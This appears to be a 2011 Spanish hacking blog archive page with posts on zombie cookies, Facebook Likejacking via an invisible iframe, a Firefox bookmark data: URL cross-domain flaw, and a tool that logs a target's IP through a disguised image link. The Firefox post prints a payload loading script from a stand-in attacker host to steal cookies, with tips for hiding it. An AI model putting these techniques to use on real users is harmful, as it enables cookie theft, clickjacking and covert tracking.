jueves, 26 de mayo de 2011

Zombie Cookies: cookies que vuelven a la vida

Saludos,


Como ya adelanté en el anterior post, las próximas publicaciones van a intentar ajustarse a problemas relacionados con Cookies. En esta ocasión quería hablaros sobre las denominadas Zombie Cookies.


Con Zombie Cookies denominamos a aquellas cookies que son capaces de reaparecer ("volver a la vida") pese a que las borremos una y otra vez. Esto puede ser especialmente interesante para las empresas de Data Mining, puesto que pueden, a través de publicidad por ejemplo, introducirnos una cookie de seguimiento al navegar por una web perfectamente legal. Esto permitiría trazar nuestra hoja de ruta, sabiendo qué tipo de webs nos interesan, y qué productos.


Existen diferentes técnicas para poder generar este tipo de cookies casi indestructibles, basadas en su mayoría en guardar la cookie en distintos centros de almacenamiento que puede usarse en un navegador, como las flash cookies o las imagenes temporales.


El culmen de las zombie cookies es la API de JavaScript "Evercookie", que utiliza gran cantidad de sistemas para almacenar la cookie y reponerla cuando ésta sea borrada. Para más información sobre el tema podeis visitar su web:

EverCookie


La idea de utilizar archivos temporales para renovar las cookies me parece bastante interesante, así que es bastante probable que acabe haciendo algún script a modo de PoC después de exámenes.
5 0verl0ad Labs: mayo 2011 Saludos, Como ya adelanté en el anterior post, las próximas publicaciones van a intentar ajustarse a problemas relacionados con Cookie...

miércoles, 25 de mayo de 2011

Clickjacking + Facebook = Likejacking

Saludos,


En estos días tenía pensado escribir un poco sobre los peligros de las cookies que no expiran, así que para empezar el tema nada mejor que hacerlo con esta técnica bautizada como "Likejacking" (en referencia al botón "Like" de Facebook). El Likejacking ha sido carne de noticiario, saliendo en televisión y periódicos recientemente, por lo que me parece algo adecuado para entrar en materia.


El concepto es una combinación de un ataque de clickjacking (creo que ya publiqué algo por el blog en su momento) con los Social Plugins de FB. Se trata de que al clickar un video, o cualquier parte de una web, en realidad estemos clickando un botón de "Like" en forma de iframe invisible, por lo que aparecerá en nuestro muro como que "Nos gusta" esa web. Esto puede dar pie a que algún amigo nuestro también clicke sobre la web que supuestamente nos gusta, y también caiga en la trampa, extendiendose la plaga.


Normalmente se suelen identificar estos enlaces fraudulentos por que tienen nombres o descripciones bastante morbosos y que despiertan esa curiosidad innata en el hombre, de ahí el éxito de su extensión entre los amigos de una persona cuyo FB ha sido "infectado". En lo personal me recuerda a aquellos virus que se extendían vía MSN y que para clickar en el enlace ponían mensajes del tipo "Mira mis últimas fotos en la playa desnuda" y cosas al estilo.


Además del spam y la publicidad gratis que se puede conseguir con esta técnica, los creadores de malware lo están empleando para su distribución, con trucos tan viejos (y todavía efectivos) como hacer que el incauto visitante se descargue un plug-in (hete aquí el malware) para poder visualizar contenido.


El problema es tan generalizado debido a que un elevado número de usuarios de redes sociales por comodidad mantienen las sesiones abiertas a través de cookies que no expiran en vez de cerra sesión y loguearse otra vez cada vez que quieran hacer uso de FB. Amén de las personas que tienen el FB abierto durante todo el día.


El código para poner un "Like" en tu web es bastante simple, con un iframe similar a:

<iframe src="http://www.facebook.com/plugins/like.php?href=Tu-web;layout=button_count&show_faces=true&width=100&action=like&font=arial&colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:100px; height:px"></iframe>


Todos los parámetros se pueden modificar (en la propia web de Facebook explican cada uno en detalle). Con este iframe base se puede trabajar para dejarlo invisible (opacity: 0) y además colocarlo en algún punto clave donde el usuario vaya a clickar obligatoriamente. Por supuesto se puede ir más lejos, ofuscando el código por ejemplo.
5 0verl0ad Labs: mayo 2011 Saludos, En estos días tenía pensado escribir un poco sobre los peligros de las cookies que no expiran, así que para empezar el tema na...

martes, 24 de mayo de 2011

Bookmarks: Firefox Cross-Domain Vulnerability

Saludos,

Haciendo un descanso en mi estudio me he puesto a dar vueltas por la red leyendo de aquí para allá sobre vulnerabilidades y me he topado con algo interesante. Se trata de un bug en Firefox, reportado hace mucho tiempo, que permite el uso de JavaScript (con todo lo que ello implica) al abrir un enlace favorito "corrupto".


El concepto consiste en correr código HTML y JS a través de "Data:...". Para informaros como funciona 'Data:' echad un ojo al RFC 2397 "The "data" URL scheme". De esta forma, se hace que la víctima abra de alguna forma un fake hecho con "Data:" (en el cual esté nuestro código JS malicioso) y se hace que la guarde en favoritos. El código JS malicioso sólo se ejecutará cuando la víctima abra el enlace corrupto que tiene en favoritos, y lo hará sobre la web que esté visitando en ese momento.


En otras palabras, lo que te permite esta vulnerabilidad es correr un JS malicioso sobre una web que estás visitando cuando la victima vaya a sus favoritos y abra nuestro enlace malicioso (de ahí lo de Cross-Domain). De esta forma podemos, por ejemplo, conseguir una cookie de un sitio web (P.E. Google) pese a que este no sea vulnerable a XSS. A priori parece poco efectivo, pero aplicando un poco de ingeniería social es perfectamente viable.



Un ejemplo propuesto por el descubridor de la vulnerabilidad (Michal Zalewski) sería al estilo de:

data:text/html;http://Escribir-una-web-que-parezca-real.com/index.html<script src="http://nuestrohost.com/codigo-malicioso.js"></script>



En nuestro código JS malicioso a parte del payload se podría hacer que crease una web falsa para engañar a la víctima. Si bien parece poco probable que alguien guarde en favoritos una enlace en cuya URL viene código JS, pese a que se observe una web fake que pueda interesar a la víctima, siempre se puede ofuscar. Algunas formas simples sería pasando el contenido de "Data:" a Base64 (ver el RFC), o bien usando el truco que aparece en el reto 3 de Seth: añadir tropecientos &nbs p; que acaben ocultando el final de la URL. De esta última forma sólo se vería el "data:text/html;http://Escribir-una-web-que-parezca-real.com/index.html" y no el resto.


PDD: para más info Firefox Bookmarks Cross-Domain Travel Vulnerability
PDD: perdón si lo que he escrito es algo denso o infumable, pero apenas he dormido.
5 0verl0ad Labs: mayo 2011 Saludos, Haciendo un descanso en mi estudio me he puesto a dar vueltas por la red leyendo de aquí para allá sobre vulnerabilidades y me he...

lunes, 23 de mayo de 2011

IpCatcher

Saludos,


Leyendo un post, de no recuerdo quién ni donde, usaban un script en PHP para conseguir la IP de un objetivo, cosa normal y corriente. Lo único que me pareció interesante, a título anecdótico, es que para ver la IP no hacía falta ir abrir el navegador e ir a nuestro servidor donde estaría la IP guardada, sino que la consultaba desde un script en Python. Así que visto esto, codee algo sencillo (más que nada para practicar PHP y Perl, que ando algo oxidado) pero implementando algo más (por supuesto que aun se pueden añadir mil y una cosas más, incluso mejorar/simplificar el code).



El funcionamiento es simple. Por una parte tenemos un PHP (codigo) que al recibir una petición GET indicando usuario y password, y el nombre de nuestro objetivo, nos escupirá otro archivo PHP (el cual se encuentra encriptado en base64 y que puedes ver limpio aquí. Este otro PHP será el que debamos de enviar a nuestro objetivo (a través de un MP puesto como un tag de imagen, por ejemplo), y su cometido es crear un .txt con la IP (y otros datos quizás relevantes).


Tanto para obtener la URL a enviar, como para leer el fichero .txt, usaremos este script en perl (Aquí). No tiene nada especialmente reseñable, se usa WWW::Mechanize para hacer las peticiones y MIME::Base64 para desencriptar el contenido del .txt.

La idea original era que, cuando fuera visitado por nuestro objetivo el enlace al tratar de visualizar la imagen (como si de un CSRF se tratase), éste se borrara y tan sólo quedase el .txt para ser leido. Siendo sinceros, me daba bastante pereza esta mañana ponerme a retocarlo, y estos días mi tiempo es oro (tengo los examenes finales esta semana y la siguiente), así que os dejo hacer eso como tarea ;).


PD: el código PHP en realidad está hecho por Seth. En primera instancia hice yo uno, pero me dió un error sin sentido -el cual al parecer tenía que ver cuando usaba base64_decode() y Seth me lo envió reparado. Como ya he dicho ando mal de tiempo asi que lo dejé tal y como estaba.
5 0verl0ad Labs: mayo 2011 Saludos, Leyendo un post, de no recuerdo quién ni donde, usaban un script en PHP para conseguir la IP de un objetivo, cosa normal y...

domingo, 22 de mayo de 2011

Próximamente

Saludos,

Volvemos. No sé cuanto durará esta vuelta a primera línea de combate, pero vamos a ver en qué acaba la cosa. Quisiera hacer algunos cambios en el blog, y si algún loco sigue leyendo esto, sería bueno conocer su opinión (me refiero a cambios en el theme, añadir algún plug-in y esas cosas).

Por lo pronto estrenamos correo y twitter. El nuevo correo a través del cual podeis enviarno lo que os de la gana será overloadblog (at) hotmail.es . Cualquier sugerencia, aporte o crítica constructiva será bien recibida. Respecto al twitter aquí está:

@TheXC3LL
5 0verl0ad Labs: mayo 2011 Saludos, Volvemos. No sé cuanto durará esta vuelta a primera línea de combate, pero vamos a ver en qué acaba la cosa. Quisiera hacer algu...
< >